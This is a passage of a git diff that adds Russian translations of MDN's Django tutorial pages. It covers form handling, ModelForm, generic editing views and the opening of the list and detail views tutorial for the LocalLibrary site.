href="https://docs.djangoproject.com/en/1.10/ref/urlresolvers/#django.urls.reverse">reverse()</a></code>: Данная функция генерирует URL-адрес при помощи соответствующего имени URL конфигурации/преобразования и дополнительных аргументов. Это эквивалент Python тэгу <code>url</code>, которые мы использовали в наших шаблонах.</li> + <li><code><a href="https://docs.python.org/3/library/datetime.html">datetime</a></code>: Библиотека Python для работы с датами и временим. </li> +</ul> + +<p>В отображении аргумент <code>pk</code> мы используем в функции<code>get_object_or_404()</code> для получения текущего объекта типа <code>BookInstance</code> (если его не существует, то функция, а следом и наше отображение прервут свое выполнение, а на странице пользователя отобразится сообщение об ошибке: "объект не найден"). Если запрос вызова отображения <em>не является</em> <code>POST</code>-запросом, то мы переходим к условному блоку <code>else</code>, в котором мы создаем форму по умолчанию и передаем ей начальное значения<code>initial</code> для поля <code>renewal_date</code> (выделено жирным ниже, - 3 недели, начиная с текущей даты). </p> + +<pre class="brush: python notranslate"> book_inst = get_object_or_404(BookInstance, pk=pk) + + # Если это GET (или другой метод), тогда создаем форму по умолчанию + <strong>else:</strong> + proposed_renewal_date = datetime.date.today() + datetime.timedelta(<strong>weeks=3</strong>) + <strong>form = RenewBookForm(initial={'</strong>renewal_date<strong>': </strong>proposed_renewal_date<strong>,})</strong> + + return render(request, 'catalog/book_renew_librarian.html', {'form': form, 'bookinst':book_inst})</pre> + +<p>После создания формы мы вызываем функцию <code>render()</code>, чтобы создать HTML страницу; передаем ей в качестве параметров шаблон и контекст, который содержит объект формы. Кроме того, контекст содержит объект типа <code>BookInstance</code>, который мы будем использовать в шаблоне, для получения информации об обновляемой книге.</p> + +<p>Если все таки у нас <code>POST</code>-запрос, тогда мы создаем объект с именем <code>form</code> и заполняем его данными, полученными из запроса. Данный процесс называется связыванием (или, биндингом, от англ. "binding") и позволяет нам провести валидацию данных. Далее осуществляется валидация формы, при этом проверяются все поля формы — для этого используются как код обобщенного класса, так и пользовательских функций, в частности нашей функции проверки введенных дат <code>clean_renewal_date()</code>. </p> + +<pre class="brush: python notranslate"> book_inst = get_object_or_404(BookInstance, pk=pk) + + # Если данный запрос типа POST, тогда + if request.method == 'POST': + + # Создаем экземпляр формы и заполняем данными из запроса (связывание, binding): +<strong> form = RenewBookForm(request.POST)</strong> + + # Проверка валидности формы: + if form.is_valid(): + # process the data in form.cleaned_data as required (here we just write it to the model due_back field) + book_inst.due_back = form.cleaned_data['renewal_date'] + book_inst.save() + + # redirect to a new URL: + return HttpResponseRedirect(reverse('all-borrowed') ) + + return render(request, 'catalog/book_renew_librarian.html', {'form': form, 'bookinst':book_inst})</pre> + +<p>Если формы не прошла валидацию, то мы снова вызываем функцию <code>render()</code>, но на этот раз форма будет содержать сообщения об ошибках. </p> + +<p>Если форма прошла валидацию, тогда мы можем начать использовать данные, получая их из атрибута формы <code>form.cleaned_data</code> (то есть, <code>data = form.cleaned_data['renewal_date']</code>). Здесь мы просто сохраняем данные в поле <code>due_back</code> , соответствующего объекта<code> BookInstance</code>.</p> + +<div class="warning"> +<p><strong>Важно</strong>: Хотя вы также можете получить доступ к данным формы непосредственно через запрос (например <code>request.POST['renewal_date'],</code> или <code>request.GET['renewal_date']</code> (в случае GET-запроса), это НЕ рекомендуется. Очищенные данные проверены на вредоносность и преобразованы в типы, совместимые с Python.</p> +</div> + +<p>Последним шагом в части обработки формы представления является перенаправление на другую страницу, обычно страницу «Успех». В нашем случае мы используем объект класса <code>HttpResponseRedirect</code> и функцию <code>reverse()</code> для перехода к отображению с именем <code>'all-borrowed'</code> (это было домашним заданием в <a href="/en-US/docs/Learn/Server-side/Django/authentication_and_sessions#Challenge_yourself">Руководство часть 8: Аутентификация и разграничение доступа</a>). Если вы не создали данную страницу, то просто укажите переход на домашнюю страницу сайта по адресу '/').</p> + +<p>Все это необходимо для управления формой как таковой, но нам нужно как-то ограничить доступ к отображению (открыть доступ только библиотекарям). Мы могли бы создать новое разрешение (permission) в классе <code>BookInstance</code> ("<code>can_renew</code>"), но мы пойдем простым путем и воспользуемся функцией-декоратором <code>@permission_required</code> вместе с нашим существующим разрешением<code>can_mark_returned</code>.</p> + +<p>Окончательный вид отображения показан ниже. Пожалуйста, скопируйте данный текст в нижнюю часть файла <strong>locallibrary/catalog/views.py</strong>.</p> + +<pre class="notranslate"><strong>from django.contrib.auth.decorators import permission_required</strong> + +from django.shortcuts import get_object_or_404 +from django.http import HttpResponseRedirect +from django.urls import reverse +import datetime + +from .forms import RenewBookForm + +<strong>@permission_required('catalog.<code>can_mark_returned</code>')</strong> +def renew_book_librarian(request, pk): + """ + View function for renewing a specific BookInstance by librarian + """ + book_inst = get_object_or_404(BookInstance, pk=pk) + + # If this is a POST request then process the Form data + if request.method == 'POST': + + # Create a form instance and populate it with data from the request (binding): + form = RenewBookForm(request.POST) + + # Check if the form is valid: + if form.is_valid(): + # process the data in form.cleaned_data as required (here we just write it to the model due_back field) + book_inst.due_back = form.cleaned_data['renewal_date'] + book_inst.save() + + # redirect to a new URL: + return HttpResponseRedirect(reverse('all-borrowed') ) + + # If this is a GET (or any other method) create the default form. + else: + proposed_renewal_date = datetime.date.today() + datetime.timedelta(weeks=3) + form = RenewBookForm(initial={'renewal_date': proposed_renewal_date,}) + + return render(request, 'catalog/book_renew_librarian.html', {'form': form, 'bookinst':book_inst}) +</pre> + +<h3 id="Шаблон">Шаблон</h3> + +<p>Создайте шаблон, на который ссылается наше отображение (<strong>/catalog/templates/catalog/book_renew_librarian.html</strong>) и скопируйте в него код, указаный ниже:</p> + +<pre class="brush: html notranslate">{% extends "base_generic.html" %} +{% block content %} + + <h1>Renew: \{{bookinst.book.title}}</h1> + <p>Borrower: \{{bookinst.borrower}}</p> + <p{% if bookinst.is_overdue %} class="text-danger"{% endif %}>Due date: \{{bookinst.due_back}}</p> + +<strong> <form action="" method="post"> + {% csrf_token %} + <table> + \{{ form }} + </table> + <input type="submit" value="Submit" /> + </form></strong> + +{% endblock %}</pre> + +<p>Большая его часть вам знакома из предыдущих частей руководства. Мы расширяем базовый шаблон, а затем замещаем блок содержимого <code>content</code>. У нас имеется возможность ссылаться на переменную <code>\{{bookinst}}</code> (и ее поля) поскольку мы передали ее в объект контекста при вызове функции <code>render()</code>. Здесь мы используем данный объект для вывода заголовка книги, дат ее получения и возврата.</p> + +<p>Код формы относительно прост. В первую очередь мы объявляем тэг<code>form</code>, затем определяем куда будут отправлены данные (<code>action</code>) и каким способом (<code>method</code>, в данном случае "HTTP POST") — если обратитесь к обзору раздела <a href="#HTML_forms">Формы HTML</a> в верхней части данной страницы, то найдете там замечение, что пустое значние атрибута <code>action</code>, означает, что данные из формы будут переданы обратно по текущему URL-адресу данной страницы (чего мы и хотим!). Внутри тэга формы мы объявляем кнопку <code>submit</code> при помощи которой мы можем отправить наши данные. Блок <code>{% csrf_token %}</code>, добавленный первой строкой внутри блока формы, является частью фреймворка Django и служит для борьбы с CSRF.</p> + +<div class="note"> +<p><strong>Примечание:</strong> Добавляйте <code>{% csrf_token %}</code> в каждый шаблон Django, в котором вы создаете форму для отправки данных методом <code>POST</code>. Это поможет уменьшить вероятность взлома вашего сайта злоумышленниками.</p> +</div> + +<p>Все что осталось, это указать переменную <code>\{{form}}</code>, которую мы передали в шаблон в словаре контекста. Возможно это вас не удивит, но таким образом мы предоставим возможность форме отрендерить свои поля с их метками, виджетами и дополнительными текстами, и в результате мы получим следующее:</p> + +<pre class="brush: html notranslate"><tr> + <th><label for="id_renewal_date">Renewal date:</label></th> + <td> + <input id="id_renewal_date" name="renewal_date" type="text" value="2016-11-08" required /> + <br /> + <span class="helptext">Enter date between now and 4 weeks (default 3 weeks).</span> + </td> +</tr> +</pre> + +<div class="note"> +<p><strong>Примечание:</strong> Возможно это не очевидно, поскольку наша форма содержит только одно поле, но по умолчанию каждое поле формы помещается в ее собственную строку таблицы (поэтому переменная <code>\{{form}}</code> находится внутри тэга <code>table </code>. Тот же результат можно получить, если воспользоваться следующим вызовом <code>\{{ form.as_table }}</code>.</p> +</div> + +<p>Если вы ввели неправильную дату, то на странице вы должны получить список сообщений об ошибках (показано жирным ниже).</p> + +<pre class="brush: html notranslate"><tr> + <th><label for="id_renewal_date">Renewal date:</label></th> + <td> +<strong> <ul class="errorlist"> + <li>Invalid date - renewal in past</li> + </ul></strong> + <input id="id_renewal_date" name="renewal_date" type="text" value="2015-11-08" required /> + <br /> + <span class="helptext">Enter date between now and 4 weeks (default 3 weeks).</span> + </td> +</tr></pre> + +<h4 id="Другие_варианты_применения_переменной_шаблона_form">Другие варианты применения переменной шаблона form</h4> + +<p>В простом случае применения <code>\{{form}}</code> как показано выше, каждое поле рендерится в виде отдельной строки таблицы. Кроме того, вы можете отрендерить каждое поле как список элементов (<code>\{{form.as_ul}}</code> ), или как параграф (<code>\{{form.as_p}}</code>).</p> + +<p>Что еще больше вдохновляет, так это то, что вы можете полностью контролировать процесс рендеринга любой части формы, используя для этого дот-нотацию (точку). Например, мы можем получить доступ к следующим полям поля формы <code>renewal_date</code>:</p> + +<ul> + <li><code>\{{form.renewal_date}}:</code> само поле.</li> + <li><code>\{{form.renewal_date.errors}}</code>: Список ошибок.</li> + <li><code>\{{form.renewal_date.id_for_label}}</code>: Идентификатор текстовой метки.</li> + <li><code>\{{form.renewal_date.help_text}}</code>: Дополнительный текст.</li> + <li>и так далее!</li> +</ul> + +<p>Примеры того как вручную отрендерить формы в шаблонах, а также пробежать циклом по шаблонным полям, смотрите <a href="https://docs.djangoproject.com/en/1.10/topics/forms/#rendering-fields-manually">Работы с формами > Ручная работа с формами</a> (Django docs).</p> + +<h3 id="Тестирование_страницы">Тестирование страницы</h3> + +<p>Если вы выполнили задание в <a href="/en-US/docs/Learn/Server-side/Django/authentication_and_sessions#Challenge_yourself">Django руководство часть 8: Аутентификация и разрешение доступа</a>, то у вас должна быть страница со списком всех книг в наличии библиотеки и данный список (страница) должен быть доступен только ее сотрудникам. На данной странице в каждом пункте (для каждой книги) мы можем добавить ссылку на нашу новую страницу обновления книги.</p> + +<pre class="brush: html notranslate">{% if perms.catalog.can_mark_returned %}- <a href="{% url 'renew-book-librarian' bookinst.id %}">Renew</a> {% endif %}</pre> + +<div class="note"> +<p><strong>Примечание</strong>: Помните что, для того чтобы перейти на страницу обновления книги, ваш тестовый логин должен иметь разрешение доступа типа "<code>catalog.can_mark_returned</code>"(возможно надо воспользоваться вашим аккаунтом для суперпользователя).</p> +</div> + +<p>Вы можете попробовать вручную создать URL-адрес для тестирования, например — <a href="http://127.0.0.1:8000/catalog/book/<bookinstance id>/renew/">http://127.0.0.1:8000/catalog/book/<em><bookinstance_id></em>/renew/</a> (правильный идентификатор записи id для bookinstance можно получить, если перейти на страницу детальной информации книги и скопировать поле <code>id</code>).</p> + +<h3 id="Как_теперь_все_это_выглядит">Как теперь все это выглядит?</h3> + +<p>Если все получилось как надо, то форма по умолчанию должна выглядеть следующим образом:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14209/forms_example_renew_default.png" style="border-style: solid; border-width: 1px; display: block; height: 292px; margin: 0px auto; width: 680px;"></p> + +<p>А такой наша форма будет в случае ввода неправильной даты:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14211/forms_example_renew_invalid.png" style="border-style: solid; border-width: 1px; display: block; height: 290px; margin: 0px auto; width: 658px;"></p> + +<p>Список всех книг с ссылками на странцу обновления данных:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14207/forms_example_renew_allbooks.png" style="border-style: solid; border-width: 1px; display: block; height: 256px; margin: 0px auto; width: 613px;"></p> + +<h2 id="Класс_ModelForm">Класс ModelForm</h2> + +<p>Создание класса формы <code>Form</code> при помощи примера, описанного выше, является довольно гибким способом, позволяющим вам создавать формы любой структуры которую вы пожелаете, в связке с любой моделью, или моделями.</p> + +<p>Тем не менее, если вам просто нужна форма для отображения полей одиночной модели, тогда эта самая модель уже содержит большую часть информации, которая вам нужна для построения формы: сами поля, текстовые метки, дополнительный текст и так далее. И чтобы не воспроизводить информацию из модели для вашей формы, проще воспользоваться классом <a href="https://docs.djangoproject.com/en/1.10/topics/forms/modelforms/">ModelForm</a>, который помогает созадавать формы непосредственно из модели. Класс <code>ModelForm</code> может применяться в ваших отображениях точно таким же образом как и "классический" класс формы <code>Form</code>.</p> + +<p>Базовая реализация <code>ModelForm</code> содержит тоже поле как и ваш предыдущий класс формы <code>RenewBookForm</code>, что и показано ниже. Все что вам необходимо сделать, - внутри вашего нового класса добавить класс <code>Meta</code> и связать его с моделью <code>model</code> (<code>BookInstance</code>), а затем перечислить поля модели в поле <code>fields</code> которые должны быть включены в форму (вы можете включить все поля при помощи <code>fields = '__all__'</code>, или можно вопользоваться полем <code>exclude</code> (вместо <code>fields</code>), чтобы определить поля модели, которые <em>не</em> нужно включать).</p> + +<pre class="brush: python notranslate">from django.forms import ModelForm +from .models import BookInstance + +class RenewBookModelForm(ModelForm): +<strong> class Meta: + model = BookInstance + fields = ['due_back',]</strong> +</pre> + +<div class="note"> +<p><strong>Примечание</strong>: Это не выглядит сильно проще, чем просто использовать класс <code>Form</code> (и это действительно так, поскольку мы используем только одно поле). Тем не менее, если вы хотите иметь много полей, то такой способ построения формы может значительно уменьшить количество кода и ускорить разработку!</p> +</div> + +<p>Оставшаяся часть информации касается объявления полей модели (то есть, текстовых меток, виджетов, текстов, сообщений об ошибках). Если они недостаточно "правильные", то тогда мы можем переопределить их в нашем классе <code>Meta</code> при помощи словаря, содержащего поле, которое надо изменить и его новое значение. Например, в нашей форме мы могли бы поменять текст метки для поля "<em>Renewal date</em>" (вместо того, чтобы оставить текст по умолчанию: <em>Due date</em>), а кроме того мы хотим написать другой вспомогательный текст. Класс <code>Meta</code>, представленный ниже, показывает вам, как переопределить данные поля. Кроме того, при необходимости, вы можете установить значения для виджетов <code>widgets</code> и сообщений об ошибках <code>error_messages</code>.</p> + +<pre class="brush: python notranslate">class Meta: + model = BookInstance + fields = ['due_back',] +<strong> labels = { 'due_back': _('Renewal date'), } + help_texts = { 'due_back': _('Enter a date between now and 4 weeks (default 3).'), } </strong> +</pre> + +<p>Чтобы добавить валидацию, вы можете использовать тот же способ как и для класса <code>Form</code> — вы определяете функцию с именем <code>clean_<em>field_name</em>()</code> из которой выбрасываете исключение <code>ValidationError</code>, если это необходимо. Единственным отличием от нашей оригинальной формы будет являться то, что поле модели имеет имя <code>due_back</code>, а не "<code>renewal_date</code>".</p> + +<pre class="brush: python notranslate">from django.forms import ModelForm +from .models import BookInstance + +class RenewBookModelForm(ModelForm): +<strong> def clean_due_back(self): + data = self.cleaned_data['due_back'] + + #Проверка того, что дата не в прошлом + if data < datetime.date.today(): + raise ValidationError(_('Invalid date - renewal in past')) + + #Check date is in range librarian allowed to change (+4 weeks) + if data > datetime.date.today() + datetime.timedelta(weeks=4): + raise ValidationError(_('Invalid date - renewal more than 4 weeks ahead')) + + # Не забывайте всегда возвращать очищенные данные + return data +</strong> + class Meta: + model = BookInstance + fields = ['due_back',] + labels = { 'due_back': _('Renewal date'), } + help_texts = { 'due_back': _('Enter a date between now and 4 weeks (default 3).'), } +</pre> + +<p>Теперь класс <code>RenewBookModelForm</code> является функциональным эквивалентом нашему предыдущему классу <code>RenewBookForm</code>. Вы можете импортировать и использовать его в тех же местах, где и <code>RenewBookForm</code>.</p> + +<h2 id="Обобщенные_классы_отображения_для_редактирования">Обобщенные классы отображения для редактирования</h2> + +<p>Алгоритм управления формой, который мы использовали в нашей функции отображения, является примером достаточно общего подхода к работе с формой. Django старается абстрагировать и упростить бульшую часть данной работы, путем широкого применения <a href="https://docs.djangoproject.com/en/1.10/ref/class-based-views/generic-editing/">обобщенных классов отображений</a>, которые служат для создания, редактирования и удаления отображений на основе моделей. Они не только управляют поведением отображения, но, кроме того, они из вашей модели автоматически создают класс формы (<code>ModelForm</code>).</p> + +<div class="note"> +<p><strong>Примечание: </strong>В дополнение к отображениям для реактирования, описываемых здесь, существует также класс <a href="https://docs.djangoproject.com/en/1.10/ref/class-based-views/generic-editing/#formview">FormView</a>, который по своему предназначению находится где-то между "простой" функцией отображения и другими обобщенными отображенями, то есть в каком-то смысле, в диапазоне: "гибкость" против "усилия при программировании". Применяя <code>FormView,</code> вы все еще нуждаетесь в создании класса <code>Form</code>, но вам не нужно реализовавыть весь "стандартный" функционал работы с формой. Вместо этого, вы должны просто реализовать функцию, которая будет вызвана в тот момент, когда станет понятно, что получаемые из формы данные, "правильные" (валидны).</p> +</div> + +<p>В данном разделе мы собираемся использовать обобщенные классы для редактирования, для того, чтобы создать страницы, который добавляют функционал создания, редактирования и удаления записей типа <code>Author</code> из нашей библиотеки — предоставляя базовый функционал некоторых частей административной части сайта (это может быть полезно для случаев, когда вам нужно создать административную часть сайта, которая, в отличие от стандартной, была бы более гибкой).</p> + +<h3 id="Отображения">Отображения</h3> + +<p>Откройте файл отображений (<strong>locallibrary/catalog/views.py</strong>) и добавьте следующий код в его нижнюю часть:</p> + +<pre class="brush: python notranslate">from django.views.generic.edit import CreateView, UpdateView, DeleteView +from django.urls import reverse_lazy +from .models import Author + +class AuthorCreate(CreateView): + model = Author + fields = '__all__' + initial={'date_of_death':'12/10/2016',} + +class AuthorUpdate(UpdateView): + model = Author + fields = ['first_name','last_name','date_of_birth','date_of_death'] + +class AuthorDelete(DeleteView): + model = Author + success_url = reverse_lazy('authors')</pre> + +<p>Как вы видите, для создания отображений вам надо наследоваться от следующих классов<code>CreateView</code>, <code>UpdateView</code> и <code>DeleteView</code> (соответственно), а затем связать их с соответствующей моделью.</p> + +<p>Для случаев "создать" и "обновить" вам также понадобится определить поля для показа на форме (применяя тот же синтаксис, что и для <code>ModelForm</code>). В этом случае мы демонстриурем синтаксис и для показаза "всех" полей, и перечисление их по отдельности. Также вы можете указать начальные значения для каждого поля, применяя словарь пар <em>имя_поля</em>/<em>значение</em> (в целях демонстрации, в нашем примере мы явно указываем дату смерти — если хотите, то вы можете удалить это поле). По умолчанию отображения перенаправляют пользователя на страницу "успеха", показывая только что созданные/отредатированные данные (записи в модели). В нашем случае это, созданная в предыдущей части руководства, подробная информация об авторе. Вы можете указать альтернативное перенаправление при помощи параметра <code>success_url</code> (как в примере с классом <code>AuthorDelete</code>).</p> + +<p>Классу <code>AuthorDelete</code> не нужно показывать каких либо полей, таким образом их не нужно и декларировать. Тем не менее, вам нужно указать <code>success_url</code>, потому что, в данном случае, для Django не очевидно что делать после успешного выполнения операции удаления записи. Мы используем функцию <code><a href="https://docs.djangoproject.com/en/1.10/ref/urlresolvers/#reverse-lazy">reverse_lazy()</a></code> для перехода на страницу списка авторов после удаления одного из них — <code>reverse_lazy()</code> это более "ленивая" версия <code>reverse().</code></p> + +<h3 id="Шаблоны">Шаблоны</h3> + +<p>Отображения "создать" и "обновить" используют шаблоны с именем <em>model_name</em><strong>_form.html,</strong> по умолчанию: (вы можете поменять суффикс на что-нибудь другое, при помощи поля <code>template_name_suffix</code> в вашем отображении, например, <code>template_name_suffix = '_other_suffix'</code>)</p> + +<p>Создайте файл шаблона <strong>locallibrary/catalog/templates/catalog/author_form.html</strong> и скопируйте в него следующий текст.</p> + +<pre class="brush: html notranslate">{% extends "base_generic.html" %} + +{% block content %} + +<form action="" method="post"> + {% csrf_token %} + <table> + \{{ form.as_table }} + </table> + <input type="submit" value="Submit" /> + +</form> +{% endblock %}</pre> + +<p>Это напоминает наши предыдущие формы и рендер полей при помощи таблицы. Заметьте, что мы снова используем<code>{% csrf_token %}</code>.</p> + +<p>Отображения "удалить" ожидает "найти" шаблон с именем формата <em>model_name</em><strong>_confirm_delete.html</strong> (и снова, вы можете изменить суффикс при помощи поля отображения<code>template_name_suffix</code>). Создайте файл шаблона <strong>locallibrary/catalog/templates/catalog/author_confirm_delete</strong><strong>.html</strong> и скопируйте в него текст, указанный ниже.</p> + +<pre class="brush: html notranslate">{% extends "base_generic.html" %} + +{% block content %} + +<h1>Delete Author</h1> + +<p>Are you sure you want to delete the author: \{{ author }}?</p> + +<form action="" method="POST"> + {% csrf_token %} + <input type="submit" value="Yes, delete." /> +</form> + +{% endblock %} +</pre> + +<h3 id="Настройки_URL-адресов">Настройки URL-адресов</h3> + +<p>Откройте файл конфигураций URL-адресов (<strong>locallibrary/catalog/urls.py</strong>) и добавьте в его нижнюю часть следующие настройки:</p> + +<pre class="brush: python notranslate">urlpatterns += [ + url(r'^author/create/$', views.AuthorCreate.as_view(), name='author_create'), + url(r'^author/(?P<pk>\d+)/update/$', views.AuthorUpdate.as_view(), name='author_update'), + url(r'^author/(?P<pk>\d+)/delete/$', views.AuthorDelete.as_view(), name='author_delete'), +]</pre> + +<p>Здесь нет ничего нового! Как вы видите отображения являются классами и следовательно должны вызываться через метод <code>.as_view()</code>. Паттерны URL-адресов для каждого случая должны быть вам понятны. Мы обязаны использовать <code>pk</code> как имя для "захваченного" значения первичного ключа, так как параметр именно с таким именем ожидается классами отображения.</p> + +<p>Страницы создания, обновления и удаления автора теперь готовы к тестированию (мы не будем создавать на них ссылки в отдельном меню, но вы, если хотите, можете их сделать).</p> + +<div class="note"> +<p><strong>Примечание</strong>: Наблюдательные пользователи могли заметить, что мы ничего не делаем, чтобы предотвратить несанкционированный доступ к страницам! Мы оставили это в качестве упражнения для вас (подсказка: вы можете использовать <code>PermissionRequiredMixin</code> и, либо создать новое разрешение, или воспользоваться нашим прежним <code>can_mark_returned</code>).</p> +</div> + +<h3 id="Тестирование_страницы_2">Тестирование страницы</h3> + +<p>Залогиньтесь на сайте с аккаунтом, который позволит вам получить доступ к страницам редактирования данных (и записей) автора.</p> + +<p>Затем перейдите на страницу создания новой записи автора: <a href="http://127.0.0.1:8000/catalog/author/create/">http://127.0.0.1:8000/catalog/author/create/</a>, которая должна быть похожей на следующий скриншот.</p> + +<p><img alt="Form Example: Create Author" src="https://mdn.mozillademos.org/files/14223/forms_example_create_author.png" style="border-style: solid; border-width: 1px; display: block; height: 184px; margin: 0px auto; width: 645px;"></p> + +<p>Введите в поля значения и нажмите на кнопку <strong>Submit</strong>, чтобы сохранить новую запись об авторе. После этого, вы должны были перейти на страницу редактирования только что созданного автора, имеющий адрес, похожий на следующий <em>http://127.0.0.1:8000/catalog/author/10</em>.</p> + +<p>У вас есть возможность редактирования записей при помощи добавления<em> /update/</em> в конец адреса подробной информации (то есть, <em>http://127.0.0.1:8000/catalog/author/10/update/</em>) — мы не показываем скриншот, потому что он выглядит в точности также как страница "создать"!</p> + +<p>И последнее, мы можем удалить страницу, добавляя строку <em>/delete/</em> в конец адреса подробной информации автора (то есть, <em>http://127.0.0.1:8000/catalog/author/10/delete/</em>). Django должен показать страницу, которая похожа на представленную ниже. Нажмите <strong>Yes, delete.</strong>, чтобы удалить запись и перейти на страницу со списком авторов.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14221/forms_example_delete_author.png" style="border-style: solid; border-width: 1px; display: block; height: 194px; margin: 0px auto; width: 561px;"></p> + +<h2 id="Проверьте_себя">Проверьте себя</h2> + +<p>Создайте несколько форм создания, редактирования и удаления записей в модели <code>Book</code>. При желании, вы можете использовать теже структуры как и в случае с моделью <code>Authors</code>. Если ваш шаблон <strong>book_form.html</strong> является просто копией шаблона <strong>author_form.html</strong>, тогда новая страница "create book" будет выглядеть как на следующем скриншоте:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14225/forms_example_create_book.png" style="border-style: solid; border-width: 1px; display: block; height: 521px; margin: 0px auto; width: 595px;"></p> + +<ul> +</ul> + +<h2 id="Итоги">Итоги</h2> + +<p>Создание и управление формами может быть достаточно сложным! Django делает этот процесс намного проще, предоставляя прикладные механизмы объявления, рендеринга и проверки форм. Более того, Django предоставляет обобщенные классы редактирования форм, которые могут выполнять <em>практически любую</em> работу по созданию, редактированию и удалению записей, связанных с одиночной моделью.</p> + +<p>Существует много чего еще, что можно делать с формами (ознакомьтесь со списком ниже), но теперь вы должны понимать как добавлять базовые формы и создавать код управления формой на вашем сайте. </p> + +<h2 id="Смотрите_также">Смотрите также</h2> + +<ul> + <li><a href="https://docs.djangoproject.com/en/1.10/topics/forms/">Работа с формами</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/intro/tutorial04/#write-a-simple-form">Создание вашего первого приложения, часть 4 > Создание простой формы </a>(Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/api/">Forms API</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/fields/">Поля класса Form</a> (Django docs) </li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/forms/validation/">Класс Form и валидация поля</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/topics/class-based-views/generic-editing/">Управление классом Form из классов отображений</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/topics/forms/modelforms/">Создание форм из моделей</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/class-based-views/generic-editing/">Обобщенные отображения для редактирования</a> (Django docs)</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Django/authentication_and_sessions", "Learn/Server-side/Django/Testing", "Learn/Server-side/Django")}}</p> diff --git a/files/ru/learn/server-side/django/generic_views/index.html b/files/ru/learn/server-side/django/generic_views/index.html new file mode 100644 index 0000000000..7b1bf6f08c --- /dev/null +++ b/files/ru/learn/server-side/django/generic_views/index.html @@ -0,0 +1,605 @@ +--- +title: 'Руководство часть 6: Отображение списков и детальной информации' +slug: Learn/Server-side/Django/Generic_views +tags: + - django + - Для начинающих + - Отображения django + - Руководство + - Шаблоны django +translation_of: Learn/Server-side/Django/Generic_views +--- +<div>{{LearnSidebar}}<br> +{{PreviousMenuNext("Learn/Server-side/Django/Home_page", "Learn/Server-side/Django/Sessions", "Learn/Server-side/Django")}}</div> + +<p class="summary">Данная часть расширяет наш сайт <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a>, добавляя в него списки и страницы, путем предоставления подробной информации о книгах и авторах. В текущей части мы подробно изучим обобщенные базовые классы отображения и покажем как они могут существенно сократить количество кода, который вы должны были бы написать в обычной ситуации. Кроме того, мы более подробно рассмотрим управление и настройки URL-адресов, показывая как выполнить простое сопоставление какой-либо строки паттерну регулярного выражения.</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Требования:</th> + <td>Завершить все предыдущие части руководства, включая <a href="/en-US/docs/Learn/Server-side/Django/Home_page">Руководство Django Часть 5: Создание домашней страницы</a>.</td> + </tr> + <tr> + <th scope="row">Цель:</th> + <td>Понимать где и как применять обобщенные базовые классы отображения, и как применять паттерны URL-адресов для передачи информации в отображения.</td> + </tr> + </tbody> +</table> + +<h2 id="Обзор">Обзор</h2> + +<p>В данном руководстве мы завершим первую версию сайта <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a>, с помощью добавления страницы перечисления и подробной информации о книгах и авторах (или, если быть более точными, мы покажем как вам реализовать соответствующие страницы для книг, а для авторов вы сможете сделать их самостоятельно!)</p> + +<p>Данный процесс похож на создание главной страницы сайта, который мы показывали в предыдущей части руководства. Нам все также надо создать URL-преобразования, отображения и шаблоны страниц. Основным отличием будет то, что для страниц подробной информации перед нами встанет дополнительная задача получения информации из паттерна URL-адреса и передачи ее отображению. Для этих страниц мы собираемся продемонстрировать совершенно другой тип отображения, основанный на применении обобщеных классов отображения списка и детальной информации о записи. Это может существенно сократить количество кода, необходимого для отображения и сделает его (код) более простым для написания и поддержки.</p> + +<p>Завершающая часть данного руководства будет посвещена демонстрации постраничного показа ваших данных (pagination) при применении обобщенного класса отображения списка.</p> + +<h2 id="Страница_со_списком_книг">Страница со списком книг</h2> + +<p>Страница со списком книг показывает все книги в наличии и будет доступна по адресу: <code>catalog/books/</code>. Эта страница для каждой записи выводит заголовок и автора, при этом каждый заголовок является гиперссылкой на соответствующую страницу подробной информации о книге. Данная страница будет иметь ту же структуру и навигацию как и все остальные страницы сайта, таким образом мы сможем расширить базовый шаблон сайта (<strong>base_generic.html</strong>), который мы создали в предыдущей части руководства.</p> + +<h3 id="Преобразования_URL-адресов">Преобразования URL-адресов</h3> + +<p>Откройте файл <strong>/catalog/urls.py</strong> и скопируйте в него строки, выделенные жирным внизу. Практически также как и для главной страницы сайта, данная функция <code>url()</code> определяет регулярное выражение (<strong>r'^books/$'</strong>), связывающее URL-адрес с функцией отображения (<code>views.BookListView.as_view()</code> ), которая будет вызвана, если URL-адрес будет соответствовать паттерну РВ. Кроме того, определяется имя для данного сопоставления.</p> + +<pre class="brush: python">from django.urls import path +from . import views +<strong>from django.conf.urls import url</strong> + +urlpatterns = [ + url(r'^$', views.index, name='index'), +<strong> url(r'^books/$', views.BookListView.as_view(), name='books'), +</strong>]</pre> + +<p>Данный паттерн РВ сопоставления URL-адреса полностью соответствует строке <code>books/</code> (<code>^</code> является маркером начала строки, а <code>$</code> - маркер конца строки). Как было отмечено в предыдущей части руководства, URL-адрес уже должен содержать <code>/catalog</code>, таким образом полный адрес, на самом деле, имеет вид : <code>/catalog/books/</code>.</p> + +<p>Функция отображения имеет другой формат, чем ранее — это связано с тем, что данное отображение реализуется через класс. Мы будем наследоваться от существующей общей функции из <strong>view</strong>, которая уже делает большую часть того, что мы хотим, что нам и нужно, вместо того, чтобы писать свою собственную функцию во <strong>view</strong> с нуля.</p> + +<p>При использовании обобщенных классов отображения в Django мы получаем доступ к соответствующей функции отображения при помощи вызова метода <code>as_view()</code>. Таким образом выполняется вся работа по созданию экземпляра класса и гарантируется вызов правильных методов для входящих HTTP-запросов.</p> + +<h3 id="Отображение_(на_основе_базового_класса)">Отображение (на основе базового класса)</h3> + +<p>Мы могли бы достаточно просто реализовать отображение 